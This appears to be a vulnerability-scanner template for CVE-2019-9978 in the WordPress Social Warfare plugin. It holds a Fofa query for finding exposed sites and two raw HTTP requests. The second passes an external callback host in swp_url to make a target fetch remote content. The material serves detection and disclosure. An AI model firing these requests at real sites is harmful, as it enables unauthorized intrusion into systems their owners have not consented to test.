| Title | WordPress Social Warfare <3.5.3 - Cross-Site Scripting |
|---|---|
| Author | madrobot,dwisiswant0 |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in admin context, potentially leading to session hijacking or privilege escalation. |
| Remediation | Update to version 3.5.3 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.87417 |
| CVE ID | CVE-2019-9978 |
| CWE ID | CWE-79 |
| Fofa Query | body="social-warfare" && body="wp-" |
| Tags | cve cve2019 wordpress wp-plugin ssrf kev warfareplugins xss vkev vuln |
WordPress Social Warfare plugin before 3.5.3 contains a cross-site scripting vulnerability via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, affecting Social Warfare and Social Warfare Pro.
GET /wp-content/plugins/social-warfare/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://d5jpm5ple0o4rj70qh80m5rerp18se3ye.oast.online HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
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